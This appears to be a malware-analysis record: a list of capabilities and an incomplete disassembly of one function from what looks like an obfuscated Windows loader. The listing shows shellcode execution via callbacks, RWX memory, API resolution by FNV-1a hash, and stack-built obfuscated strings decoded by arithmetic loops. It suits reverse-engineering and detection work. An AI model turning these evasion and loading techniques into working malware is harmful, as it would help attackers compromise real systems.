Function at 0x1401eed60
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get ntdll base address
Get number of processors
Hash data using fnv
Parse pe header
Read file via mapping
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4228]
mov eax, 0x4300
call fcn.1402688f0
sub rsp, rax
mov rax, qword [0x140442580]
xor rax, rsp
mov qword [rbp + 0x41f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x4228]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
mov qword [rbp + 0x50], rax
xor rax, rdx
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rcx], rax
mov qword [rbp + 0x11c8], rax
lea r15d, [rax + 1]
mov byte [rbp + 0x11cc], r15b
or dword [rbp + 0x11c8], r15d
lea r8d, [rax + 8]
lea rdx, [rbp + 0x11c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or r12, 0xffffffffffffffff
mov dword [rsp + 0x6c], 0xeced0b92
mov dword [rsp + 0x70], 0xf84eee59
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test rax, rax
je 0x1401f4fe6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x20], rcx
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
mov qword [rbp - 0x18], rax
xor eax, eax
mov dword [rsp + 0x68], eax
cmp ax, word [rcx + 6]
jae 0x1401f4fe6
mov r15b, byte [rsp + 0x50]
mov qword [rbp - 0x10], r15
mov r12b, byte [rsp + 0x50]
mov qword [rbp - 8], r12
mov r14b, byte [rsp + 0x50]
mov qword [rbp - 0x68], r14
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x58], r13
mov dil, byte [rsp + 0x50]
mov qword [rbp - 0x50], rdi
mov sil, byte [rsp + 0x50]
mov qword [rbp - 0x48], rsi
mov byte [rbp + 0x2a0], 0xbe
mov byte [rbp + 0x2a1], 0x62
mov byte [rbp + 0x2a2], __WSAFDIsSet
mov byte [rbp + 0x2a3], 0x62
mov byte [rbp + 0x2a4], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov dword [rbp + 0x2b5], eax
mov word [rbp + 0x2b9], ax
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x1b
jae 0x1401efb80
movzx r8d, byte [rbp + r9 + 0x2a0]
mov r11d, r8d
cmp rbx, r9
ja 0x1401efb77
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401eef53
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov rax, rcx
and rax, r11
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, r11
sub r15b, 0x2e
jmp 0x1401ef20e
je 0x1401efad8
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401efa9e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401efa53
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401ef9f1
cmp r10, r9
ja 0x1401efb6e
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401eefba
movabs rdx, 0xcc37393af1646d8a
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
jmp 0x1401ef1e2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401ef9cf
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401ef9ae
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401ef98b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401ef8ff
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401ef8db
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401ef56f
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401ef547
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401ef524
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401ef501
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401ef4d9
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401ef4b6
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401ef48a
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401ef462
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401ef43f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401ef417
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401ef008
lea rbx, [r10 + 0x10]
lea r10, [rbx + 1]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401efb42
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401efb16
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1401ef217
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401ef1eb
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401ef1bf
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401ef3f1
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401ef3c9
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401ef3a6
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401ef376
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401ef008
mov rbx, rax
lea r10, [rax + 8]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401ef353
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401ef32b
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401ef308
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401ef2e4
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401ef2bf
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x1401ef299
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401ef275
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401ef261
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401ef23e
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401ef008
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x40]
jmp 0x1401ef008
movabs rdx, 0xc19e4a0c3dc97fb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401eeffb
movabs rdx, 0x4ca5386826cc1ff2
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
jmp 0x1401eef80
movabs rcx, 0xd7ac26c40fcec02e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x42
mov qword [rbp - 0x10], r15
jmp 0x1401eef1b
movabs rdx, 0x61b9c9d78b236c50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x30
jmp 0x1401efa0f
movabs rdx, 0xecc0b83374260c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401ef760
movabs rcx, 0x77c7a68f5d28acc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x78
jmp 0x1401ef6dd
movabs rdx, 0x2ce94eb462b4d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x1401efa71
movabs rdx, 0x8dd583472f2ded40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401efabe
movabs rcx, 0x18dc71a318308d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x64
jmp 0x1401ef4ad
movabs rcx, 0xa3e35fff01332db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 8
jmp 0x1401ef91d
movabs rdx, 0x2eea4e5aea35cdf4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401ef94f
movabs rcx, 0xb9f13cb6d3386e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x50
jmp 0x1401efafb
movabs rcx, 0x9582909c99befec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x6a
mov qword [rbp - 0x10], r15
mov byte [rbp + r9 + 0x2a0], r15b
jmp 0x1401efb0e
movabs rdx, 0x20897ef882c19f02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0xe
jmp 0x1401ef61a
movabs rdx, 0xab906d546bc43f3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401ef5dc
movabs rdx, 0x36975bb054c6df7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x56
add r15b, dl
jmp 0x1401ef59a
movabs rdx, 0xc94b5761a85a913c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401efafb
movabs rcx, 0x545245bd915d3178
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x48
jmp 0x1401ef94f
movabs rdx, 0xdf5934197a5fd1b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401ef91d
movabs rdx, 0x6a602275636271f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401efac8
movabs rcx, 0xf56710d14c65122c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x34
jmp 0x1401efac1
movabs rdx, 0x806dff2d3567b268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401efa71
movabs rcx, 0xb74ed891e6a52a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x7c
jmp 0x1401ef6dd
movabs rcx, 0x967bdbe5076cf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x20
jmp 0x1401efa3a
movabs rdx, 0x2182ca40f06f931c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401efa12
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401ef654
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2e
mov qword [rbp - 0x10], r15
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x1401ef8b0
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x1401ef71c
movabs rdx, 0xefac9a0cbd2fe8da
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
cmp rbx, 0x3e8
jae 0x1401ef889
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401ef7d2
movabs rdx, 0xbbe3d347ae945664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
cmp r10, 0x5a
jb 0x1401ef399
movabs rdx, 0x4d9e83b0947a140c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x1401efa12
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401ef685
movabs rdx, 0x986e7275e2c8db14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401efafb
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401ef6b1
movabs rdx, 0x826095be10c39a9c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x44
jmp 0x1401ef482
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401ef6ec
movabs rdx, 0x5644dc4e6cb919ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
mov r15d, 1
jmp 0x1401efa47
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401ef59e
movabs rdx, 0x4036ff969ab3d934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x6c
jmp 0x1401efa0f
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401ef748
movabs rdx, 0x64a5abb0d42d489e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x52
jmp 0x1401efa0f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401ef779
movabs rdx, 0xd99ebd54eb2aa862
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401efa3a
cmp rbx, rcx
jne 0x1401ef7a2
movabs rcx, 0x4e97cef902280826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0xa
jmp 0x1401ef6dd
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401ef5e0
movabs rdx, 0x227c15895e1d8736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x7a
jmp 0x1401ef482
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401ef7fe
movabs rcx, 0x30dce4ebc591b628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x18
jmp 0x1401efafb
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401ef82a
movabs rcx, 0x8fc819d80a89d574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2c
jmp 0x1401ef4ad
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401ef858
movabs rdx, 0x79ba3d20388494fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401ef2b7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401ef621
movabs rcx, 0xeeb34ec44f81f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x40
jmp 0x1401ef6dd
movabs rdx, 0xc2979554ab7773d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, byte [rbp + r9 + 0x2a0]
jmp 0x1401ef850
movabs rdx, 0x3790a6f8c274d394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, byte [rbp + r9 + 0x2a0]
sub r15b, 0xc
jmp 0x1401ef482
movabs rcx, 0xe8f8d7ffc04ccb6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 2
jmp 0x1401efafb
movabs rcx, 0xff06b4b792520be6
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x4a
movabs rdx, 0x720d2fcacdf38376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
inc r10
add rax, r10
sub r9, rax
mov qword [rbp - 0x10], r15
movabs rcx, 0xac89b89cd9723358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401efaff
movabs rcx, 0xa01b7fcb4d59ec9a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x36
jmp 0x1401efa71
movabs rcx, 0xb6295c831f5f2d12
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 0x7e
jmp 0x1401efa3a
movabs rcx, 0x41304adf0861cd4e
add rcx, r9
and r11b, cl
add r11b, r11b
mov r15b, r8b
sub r15b, r11b
sub r15b, 0x22
add r15b, cl
jmp 0x1401efa12
movabs rdx, 0x573e2796da670dc6
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov r15b, r11b
sub r15b, al
sub r15b, 0x6a
add r15b, dl
movabs rdx, 0x881b0c829ff8c3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
mov qword [rbp - 0x10], r15
mov r15d, 1
add r10, r15
sub r9, r15
mov r15, qword [rbp - 0x10]
jmp 0x1401efb0e
movabs rcx, 0xf852f2aa956eee7a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x56
movabs rdx, 0xfd141e26b6f623b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r15b
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x1401efac1
movabs rdx, 0x8359e1067e718eb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
add rbx, r10
movzx eax, r15b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401efb0e
movabs rdx, 0xaf759a76227c0fa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401eef05
movabs rdx, 0x62b3151ff8d1606a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
jmp 0x1401eef00
movabs rdx, 0xedba037be1d400a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401eeef0
lea rcx, [rbp + 0x15e2e78]
jmp 0x1401efb87
lea rcx, [rbp + 0x15cde5a]
jmp 0x1401efb87
lea rcx, [rbp + 0x2a0]
mov rax, qword [rbp - 0x18]
sub rcx, rax
mov r15d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1401efba8
add rax, r15
test edx, edx
jne 0x1401efb94
xor eax, eax
test r8d, r8d
jne 0x1401f4fb9
mov byte [rbp + 0xd30], 0x9b
mov byte [rbp + 0xd31], 0x59
mov byte [rbp + 0xd32], 0x80
mov byte [rbp + 0xd33], 0x5b
mov byte [rbp + 0xd34], 0xa0
mov byte [rbp + 0xd35], 0x45
mov byte [rbp + 0xd36], 0xbb
mov byte [rbp + 0xd37], 0x47
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_2118], 0xd3
mov byte [rbp + 0xd39], 0x41
mov byte [rbp + 0xd3a], 0xaf
mov byte [rbp + 0xd3b], 0x43
mov byte [rbp + 0xd3c], 0xde
mov byte [rbp + 0xd3d], Ordinal_79
mov byte [rbp + 0xd3e], 0xdd
mov byte [rbp + 0xd3f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xd40], 0xac
mov byte [rbp + 0xd41], Ordinal_79
mov byte [rbp + 0xd42], 0x86
mov byte [rbp + 0xd43], Ordinal_79
mov byte [rbp + 0xd44], 0x99
mov byte [rbp + 0xd45], 0x75
mov byte [rbp + 0xd46], 0x98
mov byte [rbp + 0xd47], 0x77
mov byte [rbp + 0xd48], __WSAFDIsSet
mov byte [rbp + 0xd49], WSAStartup
mov byte [rbp + 0xd4a], 0xef
mov byte [rbp + 0xd4b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd4c], 0xe8
mov byte [rbp + 0xd4d], 0x7d
mov byte [rbp + 0xd4e], 0xe2
mov byte [rbp + 0xd4f], 0x7f
mov byte [rbp + 0xd50], 0x9c
mov byte [rbp + 0xd51], 0x79
mov byte [rbp + 0xd52], 0xbb
mov byte [rbp + 0xd53], 0x7b
mov byte [rbp + 0xd54], 0xf4
mov byte [rbp + 0xd55], 0x65
mov byte [rbp + 0xd56], 0xf6
mov byte [rbp + 0xd57], 0x67
mov byte [rbp + 0xd58], 0xac
mov byte [rbp + 0xd59], 0x61
mov byte [rbp + 0xd5a], 0x83
mov byte [rbp + 0xd5b], 0x63
mov byte [rbp + 0xd5c], 0xf0
mov byte [rbp + 0xd5d], WSAStartup
mov byte [rbp + 0xd5e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd5f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xd60], Ordinal_143
mov byte [rbp + 0xd61], WSAGetLastError
mov byte [rbp + 0xd62], 0xa7
mov byte [rbp + 0xd63], WSAGetLastError
mov byte [rbp + 0xd64], 0x88
mov byte [rbp + 0xd65], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd66], 0xfe
mov byte [rbp + 0xd67], reloc.WS2_32.dll_socket
mov byte [rbp + 0xd68], 0xfd
mov byte [rbp + 0xd69], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd6a], 0x80
mov byte [rbp + 0xd6b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd6c], 0xfd
mov byte [rbp + 0xd6d], Ordinal_30
mov byte [rbp + 0xd6e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xd6f], Ordinal_33
mov byte [rbp + 0xd70], 0xfa
mov byte [rbp + 0xd71], Ordinal_30
mov byte [rbp + 0xd72], 0xf3
mov byte [rbp + 0xd73], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xd74], __WSAFDIsSet
mov byte [rbp + 0xd75], 5
mov byte [rbp + 0xd76], 6
mov byte [rbp + 0xd77], 7
xorps xmm0, xmm0
movups xmmword [rbp + 0xd78], xmm0
mov qword [rbp + 0xd88], rax
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x60
jae 0x1401f07ff
movzx r8d, byte [rbp + r10 + 0xd30]
mov r11d, r8d
cmp rbx, r10
ja 0x1401f07f2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401efe1c
movabs r12, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
add dl, 0x2c
jmp 0x1401efe56
je 0x1401f0759
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f0700
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f0698
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401f066b
mov dl, r12b
movabs r12, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x1401f07e3
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401efe89
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x64
add cl, r8b
jmp 0x1401efebf
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401f0622
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f05fc
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401f05d9
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f05b5
mov cl, dl
mov r11d, Ordinal_30
mov qword [rbp - 8], rcx
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401f01fd
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401f01dc
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401f01c8
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401f01ae
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401f018a
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401f0169
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401f0155
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401f07bb
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401f0793
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401effee
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401f013e
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401f010a
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401efed6
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401f00e5
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401f00c2
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401f00a1
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401f0079
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401f0054
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401f0032
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401f000f
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401efed6
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x1401efec5
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x20
add cl, dl
jmp 0x1401f063e
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x78
add cl, r8b
jmp 0x1401f061c
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x1401f0688
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, dl
jmp 0x1401f06e9
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x30
jmp 0x1401f0576
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401f071c
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x1401f0775
movabs rdx, 0x5893e8387f3eb164
